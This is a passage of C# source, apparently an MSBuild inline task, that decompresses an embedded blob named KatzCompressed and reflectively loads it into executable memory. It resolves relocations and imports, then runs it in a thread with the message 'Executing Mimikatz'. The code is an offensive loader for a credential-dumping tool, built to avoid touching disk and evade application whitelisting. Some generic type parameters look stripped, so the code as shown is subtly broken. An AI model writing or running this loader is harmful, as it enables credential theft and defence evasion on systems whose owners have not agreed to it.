0)
{
memory.Write(buffer, 0, count);
}
}
while (count > 0);
return memory.ToArray();
}
}
}
public override bool Execute()
{
byte[] FromBase64 = System.Convert.FromBase64String(KatzCompressed);
byte[] decompressed = Decompress(FromBase64);
PELoader pe = new PELoader(decompressed);
Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4"));
IntPtr codebase = IntPtr.Zero;
codebase = VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"),
codebase.ToString("X4"));
//Copy Sections
for (int i = 0; i < pe.FileHeader.NumberOfSections; i++)
{
IntPtr y = VirtualAlloc(IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress),
pe.ImageSectionHeaders[i].SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(pe.RawBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)
pe.ImageSectionHeaders[i].SizeOfRawData);
Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name),
y.ToString("X4"));
}
//Perform Base Relocation
//Calculate Delta
long currentbase = (long)codebase.ToInt64();
long delta;
delta = (long)(currentbase - (long)pe.OptionalHeader64.ImageBase);
Console.WriteLine("Delta = {0}", delta.ToString("X4"));
//Modify Memory Based On Relocation Table
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.VirtualAddress.ToString("X4"));
//Console.WriteLine(pe.OptionalHeader64.BaseRelocationTable.Size.ToString("X4"));
IntPtr relocationTable = (IntPtr.Add(codebase, (int)
pe.OptionalHeader64.BaseRelocationTable.VirtualAddress));
//Console.WriteLine(relocationTable.ToString("X4"));
IMAGE_BASE_RELOCATION relocationEntry = new IMAGE_BASE_RELOCATION();
relocationEntry = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof
(IMAGE_BASE_RELOCATION));
//Console.WriteLine(relocationEntry.VirtualAdress.ToString("X4"));
//Console.WriteLine(relocationEntry.SizeOfBlock.ToString("X4"));
int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(IMAGE_BASE_RELOCATION));
IntPtr nextEntry = relocationTable;
int sizeofNextBlock = (int)relocationEntry.SizeOfBlock;
IntPtr offset = relocationTable;
while (true)
{
IMAGE_BASE_RELOCATION relocationNextEntry = new IMAGE_BASE_RELOCATION();
IntPtr x = IntPtr.Add(relocationTable, sizeofNextBlock);
relocationNextEntry = (IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof
(IMAGE_BASE_RELOCATION));
IntPtr dest = IntPtr.Add(codebase, (int)relocationEntry.VirtualAdress);
for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++)
{
IntPtr patchAddr;
UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i));
UInt16 type = (UInt16)(value >> 12);
UInt16 fixup = (UInt16)(value & 0xfff);
switch (type)
{
case 0x0:
break;
case 0xA:
patchAddr = IntPtr.Add(dest, fixup);
//Add Delta To Location.
long originalAddr = Marshal.ReadInt64(patchAddr);
Marshal.WriteInt64(patchAddr, originalAddr + delta);
break;
}
}
offset = IntPtr.Add(relocationTable, sizeofNextBlock);
sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock;
relocationEntry = relocationNextEntry;
nextEntry = IntPtr.Add(nextEntry, sizeofNextBlock);
if (relocationNextEntry.SizeOfBlock == 0) break;
}
//Resolve Imports
IntPtr z = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress);
IntPtr oa1 = IntPtr.Add(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int oa2 = Marshal.ReadInt32(IntPtr.Add(oa1, 16));
//Get And Display Each DLL To Load
for (int j = 0; j < 999; j++) //HardCoded Number of DLL's Do this Dynamically.
{
IntPtr a1 = IntPtr.Add(codebase, (20 * j) + (int)pe.OptionalHeader64.ImportTable.VirtualAddress);
int entryLength = Marshal.ReadInt32(IntPtr.Add(a1, 16));
IntPtr a2 = IntPtr.Add(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength -
oa2)); //Need just last part?
IntPtr dllNamePTR = (IntPtr)(IntPtr.Add(codebase, +Marshal.ReadInt32(IntPtr.Add(a1, 12))));
string DllName = Marshal.PtrToStringAnsi(dllNamePTR);
if (DllName == "") { break; }
IntPtr handle = LoadLibrary(DllName);
Console.WriteLine("Loaded {0}", DllName);
for (int k = 1; k < 9999; k++)
{
IntPtr dllFuncNamePTR = (IntPtr.Add(codebase, +Marshal.ReadInt32(a2)));
string DllFuncName = Marshal.PtrToStringAnsi(IntPtr.Add(dllFuncNamePTR, 2));
//Console.WriteLine("Function {0}", DllFuncName);
IntPtr funcAddy = GetProcAddress(handle, DllFuncName);
Marshal.WriteInt64(a2, (long)funcAddy);
a2 = IntPtr.Add(a2, 8);
if (DllFuncName == "") break;
}
//Console.ReadLine();
}
//Transfer Control To OEP
Console.WriteLine("Executing Mimikatz");
IntPtr threadStart = IntPtr.Add(codebase, (int)pe.OptionalHeader64.AddressOfEntryPoint);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, threadStart, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
Console.WriteLine("Thread Complete");
//Console.ReadLine();
return true;
} //End Main
}
public class PELoader
{
public struct IMAGE_DOS_HEADER
{ // DOS .EXE header
public UInt16 e_magic; // Magic number
public UInt16 e_cblp; // Bytes on last page of file
public UInt16 e_cp; // Pages in file
public UInt16 e_crlc; // Relocations
public UInt16 e_cparhdr; // Size of header in paragraphs
public UInt16 e_minalloc; // Minimum extra paragraphs needed
public UInt16 e_maxalloc; // Maximum extra paragraphs needed
public UInt16 e_ss; // Initial (relative) SS value
public UInt16 e_sp; // Initial SP value
public UInt16 e_csum; // Checksum
public UInt16 e_ip; // Initial IP value
public UInt16 e_cs; // Initial (relative) CS value
public UInt16 e_lfarlc; // File address of relocation table
public UInt16 e_ovno; // Overlay number
public UInt16 e_res_0; // Reserved words
public UInt16 e_res_1; // Reserved words
public UInt16 e_res_2; // Reserved words
public UInt16 e_res_3; // Reserved words
public UInt16 e_oemid; // OEM identifier (for e_oeminfo)
public UInt16 e_oeminfo; // OEM information; e_oemid specific
public UInt16 e_res2_0; // Reserved words
public UInt16 e_res2_1; // Reserved words
public UInt16 e_res2_2; // Reserved words
public UInt16 e_res2_3; // Reserved words
public UInt16 e_res2_4; // Reserved words
public UInt16 e_res2_5; // Reserved words
public UInt16 e_res2_6; // Reserved words
public UInt16 e_res2_7; // Reserved words
public UInt16 e_res2_8; // Reserved words
public UInt16 e_res2_9; // Reserved words
public UInt32 e_lfanew; // File address of new exe header
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DATA_DIRECTORY
{
public UInt32 VirtualAddress;
public UInt32 Size;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER32
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt32 BaseOfData;
public UInt32 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt32 SizeOfStackReserve;
public UInt32 SizeOfStackCommit;
public UInt32 SizeOfHeapReserve;
public UInt32 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_OPTIONAL_HEADER64
{
public UInt16 Magic;
public Byte MajorLinkerVersion;
public Byte MinorLinkerVersion;
public UInt32 SizeOfCode;
public UInt32 SizeOfInitializedData;
public UInt32 SizeOfUninitializedData;
public UInt32 AddressOfEntryPoint;
public UInt32 BaseOfCode;
public UInt64 ImageBase;
public UInt32 SectionAlignment;
public UInt32 FileAlignment;
public UInt16 MajorOperatingSystemVersion;
public UInt16 MinorOperatingSystemVersion;
public UInt16 MajorImageVersion;
public UInt16 MinorImageVersion;
public UInt16 MajorSubsystemVersion;
public UInt16 MinorSubsystemVersion;
public UInt32 Win32VersionValue;
public UInt32 SizeOfImage;
public UInt32 SizeOfHeaders;
public UInt32 CheckSum;
public UInt16 Subsystem;
public UInt16 DllCharacteristics;
public UInt64 SizeOfStackReserve;
public UInt64 SizeOfStackCommit;
public UInt64 SizeOfHeapReserve;
public UInt64 SizeOfHeapCommit;
public UInt32 LoaderFlags;
public UInt32 NumberOfRvaAndSizes;
public IMAGE_DATA_DIRECTORY ExportTable;
public IMAGE_DATA_DIRECTORY ImportTable;
public IMAGE_DATA_DIRECTORY ResourceTable;
public IMAGE_DATA_DIRECTORY ExceptionTable;
public IMAGE_DATA_DIRECTORY CertificateTable;
public IMAGE_DATA_DIRECTORY BaseRelocationTable;
public IMAGE_DATA_DIRECTORY Debug;
public IMAGE_DATA_DIRECTORY Architecture;
public IMAGE_DATA_DIRECTORY GlobalPtr;
public IMAGE_DATA_DIRECTORY TLSTable;
public IMAGE_DATA_DIRECTORY LoadConfigTable;
public IMAGE_DATA_DIRECTORY BoundImport;
public IMAGE_DATA_DIRECTORY IAT;
public IMAGE_DATA_DIRECTORY DelayImportDescriptor;
public IMAGE_DATA_DIRECTORY CLRRuntimeHeader;
public IMAGE_DATA_DIRECTORY Reserved;
}
[StructLayout(LayoutKind.Sequential, Pack = 1)]
public struct IMAGE_FILE_HEADER
{
public UInt16 Machine;
public UInt16 NumberOfSections;
public UInt32 TimeDateStamp;
public UInt32 PointerToSymbolTable;
public UInt32 NumberOfSymbols;
public UInt16 SizeOfOptionalHeader;
public UInt16 Characteristics;
}
[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_SECTION_HEADER
{
[FieldOffset(0)]
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public char[] Name;
[FieldOffset(8)]
public UInt32 VirtualSize;
[FieldOffset(12)]
public UInt32 VirtualAddress;
[FieldOffset(16)]
public UInt32 SizeOfRawData;
[FieldOffset(20)]
public UInt32 PointerToRawData;
[FieldOffset(24)]
public UInt32 PointerToRelocations;
[FieldOffset(28)]
public UInt32 PointerToLinenumbers;
[FieldOffset(32)]
public UInt16 NumberOfRelocations;
[FieldOffset(34)]
public UInt16 NumberOfLinenumbers;
[FieldOffset(36)]
public DataSectionFlags Characteristics;
public string Section
{
get { return new string(Name); }
}
}
[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_BASE_RELOCATION
{
public uint VirtualAdress;
public uint SizeOfBlock;
}
[Flags]
public enum DataSectionFlags : uint
{
///
/// Reserved for future use.
///
TypeReg = 0x00000000,
///
/// Reserved for future use.
///
TypeDsect = 0x00000001,
///
/// Reserved for future use.
///
TypeNoLoad = 0x00000002,
///
/// Reserved for future use.
///
TypeGroup = 0x00000004,
///
/// The section should not be padded to the next boundary. This flag is obsolete and is replaced by
///
TypeNoPadded = 0x00000008,
///
/// Reserved for future use.
///
TypeCopy = 0x00000010,
///
/// The section contains executable code.
///
ContentCode = 0x00000020,
///
/// The section contains initialized data.
///
ContentInitializedData = 0x00000040,
///
/// The section contains uninitialized data.
///
ContentUninitializedData = 0x00000080,
///
/// Reserved for future use.
///
LinkOther = 0x00000100,
///
/// The section contains comments or other information. The .drectve section has this type. This is
///
LinkInfo = 0x00000200,
///
/// Reserved for future use.
///
TypeOver = 0x00000400,
///
/// The section will not become part of the image. This is valid only for object files.
///
LinkRemove = 0x00000800,
///
/// The section contains COMDAT data. For more information, see section 5.5.6, COMDAT Sections (Object
///
LinkComDat = 0x00001000,
///
/// Reset speculative exceptions handling bits in the TLB entries for this section.
///
NoDeferSpecExceptions = 0x00004000,
///
/// The section contains data referenced through the global pointer (GP).
///
RelativeGP = 0x00008000,
///
/// Reserved for future use.
///
MemPurgeable = 0x00020000,
///
/// Reserved for future use.
///
Memory16Bit = 0x00020000,
///
/// Reserved for future use.
///
MemoryLocked = 0x00040000,
///
/// Reserved for future use.
///
MemoryPreload = 0x00080000,
///
/// Align data on a 1-byte boundary. Valid only for object files.
///
Align1Bytes = 0x00100000,
///
/// Align data on a 2-byte boundary. Valid only for object files.
///
Align2Bytes = 0x00200000,
///
/// Align data on a 4-byte boundary. Valid only for object files.
///
Align4Bytes = 0x00300000,
///
/// Align data on an 8-byte boundary. Valid only for object files.
///
Align8Bytes = 0x00400000,
///
/// Align data on a 16-byte boundary. Valid only for object files.
///
Align16Bytes = 0x00500000,
///
/// Align data on a 32-byte boundary. Valid only for object files.
///
Align32Bytes = 0x00600000,
///
/// Align data on a 64-byte boundary. Valid only for object files.
///
Align64Bytes = 0x00700000,
///
/// Align data on a 128-byte boundary. Valid only for object files.
///
Align128Bytes = 0x00800000,
///
/// Align data on a 256-byte boundary. Valid only for object files.
///
Align256Bytes = 0x00900000,
///
/// Align data on a 512-byte boundary. Valid only for object files.
///
Align512Bytes = 0x00A00000,
///
/// Align data on a 1024-byte boundary. Valid only for object files.
///
Align1024Bytes = 0x00B00000,
///
/// Align data on a 2048-byte boundary. Valid only for object files.
///
Align2048Bytes = 0x00C00000,
///
/// Align data on a 4096-byte boundary. Valid only for object files.
///
Align4096Bytes = 0x00D00000,
///
/// Align data on an 8192-byte boundary. Valid only for object files.
///
Align8192Bytes = 0x00E00000,
///
/// The section contains extended relocations.
///
LinkExtendedRelocationOverflow = 0x01000000,
///
/// The section can be discarded as needed.
///
MemoryDiscardable = 0x02000000,
///
/// The section cannot be cached.
///
MemoryNotCached = 0x04000000,
///
/// The section is not pageable.
///
MemoryNotPaged = 0x08000000,
///
/// The section can be shared in memory.
///
MemoryShared = 0x10000000,
///
/// The section can be executed as code.
///
MemoryExecute = 0x20000000,
///
/// The section can be read.
///
MemoryRead = 0x40000000,
///
/// The section can be written to.
///
MemoryWrite = 0x80000000
}
///
/// The DOS header
///
private IMAGE_DOS_HEADER dosHeader;
///
/// The file header
///
private IMAGE_FILE_HEADER fileHeader;
///
/// Optional 32 bit file header
///
private IMAGE_OPTIONAL_HEADER32 optionalHeader32;
///
/// Optional 64 bit file header
///
private IMAGE_OPTIONAL_HEADER64 optionalHeader64;
///
/// Image Section headers. Number of sections is in the file header.
///
private IMAGE_SECTION_HEADER[] imageSectionHeaders;
private byte[] rawbytes;
public PELoader(string filePath)
{
// Read in the DLL or EXE and get the timestamp
using (FileStream stream = new FileStream(filePath, System.IO.FileMode.Open,
System.IO.FileAccess.Read))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader(reader);
}
else
{
optionalHeader64 = FromBinaryReader(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader(reader);
}
rawbytes = System.IO.File.ReadAllBytes(filePath);
}
}
public PELoader(byte[] fileBytes)
{
// Read in the DLL or EXE and get the timestamp
using (MemoryStream stream = new MemoryStream(fileBytes, 0, fileBytes.Length))
{
BinaryReader reader = new BinaryReader(stream);
dosHeader = FromBinaryReader(reader);
// Add 4 bytes to the offset
stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin);
UInt32 ntHeadersSignature = reader.ReadUInt32();
fileHeader = FromBinaryReader(reader);
if (this.Is32BitHeader)
{
optionalHeader32 = FromBinaryReader(reader);
}
else
{
optionalHeader64 = FromBinaryReader(reader);
}
imageSectionHeaders = new IMAGE_SECTION_HEADER[fileHeader.NumberOfSections];
for (int headerNo = 0; headerNo < imageSectionHeaders.Length; ++headerNo)
{
imageSectionHeaders[headerNo] = FromBinaryReader(reader);
}
rawbytes = fileBytes;
}
}
public static T FromBinaryReader(BinaryReader reader)
{
// Read in a byte array
byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T)));
// Pin the managed memory while, copy it out the data, then unpin it
GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned);
T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T));
handle.Free();
return theStructure;
}
public bool Is32BitHeader
{
get
{
UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100;
return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE;
}
}
public IMAGE_FILE_HEADER FileHeader
{
get
{
return fileHeader;
}
}
///
/// Gets the optional header
///
public IMAGE_OPTIONAL_HEADER32 OptionalHeader32
{
get
{
return optionalHeader32;
}
}
///
/// Gets the optional header
///
public IMAGE_OPTIONAL_HEADER64 OptionalHeader64
{
get
{
return optionalHeader64;
}
}
public IMAGE_SECTION_HEADER[] ImageSectionHeaders
{
get
{
return imageSectionHeaders;
}
}
public byte[] RawBytes
{
get
{
return rawbytes;
}
}
}//End Class
]]>